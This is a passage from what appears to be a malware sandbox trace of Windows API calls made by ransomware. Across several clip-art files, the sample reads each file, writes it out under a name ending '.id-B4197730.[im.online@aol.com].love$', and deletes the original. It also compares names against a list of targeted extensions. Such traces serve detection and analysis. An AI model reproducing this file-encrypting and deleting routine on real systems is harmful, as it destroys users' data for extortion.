office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0263.156] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.156] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0263.158] GetLastError () returned 0x0 [0263.158] ReadFile (in: hFile=0x42c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x60b7, lpOverlapped=0x0) returned 1 [0263.161] WriteFile (in: hFile=0x550, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x60c0, lpOverlapped=0x0) returned 1 [0263.164] ReadFile (in: hFile=0x42c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.164] WriteFile (in: hFile=0x550, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.164] SetEndOfFile (hFile=0x550) returned 1 [0263.164] CloseHandle (hObject=0x550) returned 1 [0263.164] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.165] SetEndOfFile (hFile=0x42c) returned 1 [0263.169] CloseHandle (hObject=0x42c) returned 1 [0263.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 1 [0263.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0263.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0263.172] lstrlenW (lpString=".doc") returned 4 [0263.172] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0263.172] lstrlenW (lpString=".docx") returned 5 [0263.172] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0263.172] lstrlenW (lpString=".pdf") returned 4 [0263.172] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0263.172] lstrlenW (lpString=".xls") returned 4 [0263.172] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0263.172] lstrlenW (lpString=".xlsx") returned 5 [0263.172] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0263.172] lstrlenW (lpString=".ppt") returned 4 [0263.173] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0263.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0263.173] lstrlenW (lpString=".zip") returned 4 [0263.173] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0263.173] lstrlenW (lpString=".rar") returned 4 [0263.173] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0263.173] lstrlenW (lpString=".bz2") returned 4 [0263.173] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0263.173] lstrlenW (lpString=".7z") returned 3 [0263.173] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0263.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0263.173] lstrlenW (lpString=".dbf") returned 4 [0263.173] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0263.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0263.173] lstrlenW (lpString=".1cd") returned 4 [0263.173] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0263.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0263.173] lstrlenW (lpString=".jpg") returned 4 [0263.173] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0263.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0263.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0263.173] lstrlenW (lpString=".doc") returned 4 [0263.173] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0263.173] lstrlenW (lpString=".docx") returned 5 [0263.173] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0263.173] lstrlenW (lpString=".pdf") returned 4 [0263.174] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0263.174] lstrlenW (lpString=".xls") returned 4 [0263.174] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0263.174] lstrlenW (lpString=".xlsx") returned 5 [0263.174] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0263.174] lstrlenW (lpString=".ppt") returned 4 [0263.174] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0263.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0263.174] lstrlenW (lpString=".zip") returned 4 [0263.174] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0263.174] lstrlenW (lpString=".rar") returned 4 [0263.174] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0263.174] lstrlenW (lpString=".bz2") returned 4 [0263.174] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0263.174] lstrlenW (lpString=".7z") returned 3 [0263.174] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0263.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0263.174] lstrlenW (lpString=".dbf") returned 4 [0263.174] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0263.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0263.174] lstrlenW (lpString=".1cd") returned 4 [0263.174] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0263.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0263.174] lstrlenW (lpString=".jpg") returned 4 [0263.174] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0263.175] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0263.175] lstrlenW (lpString="J0099146.WMF") returned 12 [0263.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0263.176] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=16596) returned 1 [0263.176] CloseHandle (hObject=0x42c) returned 1 [0263.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 0x220 [0263.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0263.867] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.883] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0263.903] GetLastError () returned 0x0 [0263.903] ReadFile (in: hFile=0x3f4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x40d4, lpOverlapped=0x0) returned 1 [0263.907] WriteFile (in: hFile=0x42c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x40e0, lpOverlapped=0x0) returned 1 [0263.909] ReadFile (in: hFile=0x3f4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.909] WriteFile (in: hFile=0x42c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.909] SetEndOfFile (hFile=0x42c) returned 1 [0263.910] CloseHandle (hObject=0x42c) returned 1 [0263.910] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.910] SetEndOfFile (hFile=0x3f4) returned 1 [0263.915] CloseHandle (hObject=0x3f4) returned 1 [0263.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1 [0263.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0263.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0263.917] lstrlenW (lpString=".doc") returned 4 [0263.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.917] lstrlenW (lpString=".docx") returned 5 [0263.917] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0263.918] lstrlenW (lpString=".pdf") returned 4 [0263.918] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.918] lstrlenW (lpString=".xls") returned 4 [0263.918] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.918] lstrlenW (lpString=".xlsx") returned 5 [0263.918] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0263.918] lstrlenW (lpString=".ppt") returned 4 [0263.918] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0263.918] lstrlenW (lpString=".zip") returned 4 [0263.918] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.918] lstrlenW (lpString=".rar") returned 4 [0263.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.918] lstrlenW (lpString=".bz2") returned 4 [0263.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.918] lstrlenW (lpString=".7z") returned 3 [0263.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0263.919] lstrlenW (lpString=".dbf") returned 4 [0263.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0263.919] lstrlenW (lpString=".1cd") returned 4 [0263.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0263.919] lstrlenW (lpString=".jpg") returned 4 [0263.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0263.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0263.919] lstrlenW (lpString=".doc") returned 4 [0263.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.919] lstrlenW (lpString=".docx") returned 5 [0263.919] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0263.919] lstrlenW (lpString=".pdf") returned 4 [0263.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.920] lstrlenW (lpString=".xls") returned 4 [0263.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.920] lstrlenW (lpString=".xlsx") returned 5 [0263.920] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0263.920] lstrlenW (lpString=".ppt") returned 4 [0263.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0263.920] lstrlenW (lpString=".zip") returned 4 [0263.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.920] lstrlenW (lpString=".rar") returned 4 [0263.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.920] lstrlenW (lpString=".bz2") returned 4 [0263.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.920] lstrlenW (lpString=".7z") returned 3 [0263.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0263.921] lstrlenW (lpString=".dbf") returned 4 [0263.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0263.921] lstrlenW (lpString=".1cd") returned 4 [0263.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0263.921] lstrlenW (lpString=".jpg") returned 4 [0263.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.921] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0263.922] lstrlenW (lpString="J0099151.WMF") returned 12 [0263.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0263.924] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=26086) returned 1 [0263.924] CloseHandle (hObject=0x3f4) returned 1 [0263.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220 [0263.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0263.925] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.925] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0263.927] GetLastError () returned 0x0 [0263.927] ReadFile (in: hFile=0x3f4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x65e6, lpOverlapped=0x0) returned 1 [0263.932] WriteFile (in: hFile=0x42c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x65f0, lpOverlapped=0x0) returned 1 [0263.934] ReadFile (in: hFile=0x3f4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.935] WriteFile (in: hFile=0x42c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.935] SetEndOfFile (hFile=0x42c) returned 1 [0263.935] CloseHandle (hObject=0x42c) returned 1 [0263.935] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.935] SetEndOfFile (hFile=0x3f4) returned 1 [0263.989] CloseHandle (hObject=0x3f4) returned 1 [0263.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0263.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0263.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0263.991] lstrlenW (lpString=".doc") returned 4 [0263.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.992] lstrlenW (lpString=".docx") returned 5 [0263.992] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0263.992] lstrlenW (lpString=".pdf") returned 4 [0263.992] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.992] lstrlenW (lpString=".xls") returned 4 [0263.992] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.992] lstrlenW (lpString=".xlsx") returned 5 [0263.992] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0263.992] lstrlenW (lpString=".ppt") returned 4 [0263.992] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0263.992] lstrlenW (lpString=".zip") returned 4 [0263.992] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.992] lstrlenW (lpString=".rar") returned 4 [0263.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.008] lstrlenW (lpString=".bz2") returned 4 [0264.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.008] lstrlenW (lpString=".7z") returned 3 [0264.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0264.009] lstrlenW (lpString=".dbf") returned 4 [0264.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0264.009] lstrlenW (lpString=".1cd") returned 4 [0264.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0264.009] lstrlenW (lpString=".jpg") returned 4 [0264.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0264.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0264.009] lstrlenW (lpString=".doc") returned 4 [0264.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.009] lstrlenW (lpString=".docx") returned 5 [0264.009] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0264.009] lstrlenW (lpString=".pdf") returned 4 [0264.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.010] lstrlenW (lpString=".xls") returned 4 [0264.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.010] lstrlenW (lpString=".xlsx") returned 5 [0264.010] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0264.010] lstrlenW (lpString=".ppt") returned 4 [0264.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0264.010] lstrlenW (lpString=".zip") returned 4 [0264.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.010] lstrlenW (lpString=".rar") returned 4 [0264.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.011] lstrlenW (lpString=".bz2") returned 4 [0264.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.011] lstrlenW (lpString=".7z") returned 3 [0264.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0264.011] lstrlenW (lpString=".dbf") returned 4 [0264.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0264.011] lstrlenW (lpString=".1cd") returned 4 [0264.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0264.011] lstrlenW (lpString=".jpg") returned 4 [0264.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.012] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0264.012] lstrlenW (lpString="J0099152.JPG") returned 12 [0264.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0264.014] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=11694) returned 1 [0264.014] CloseHandle (hObject=0x3f4) returned 1 [0264.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220 [0264.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0264.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0264.015] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.015] 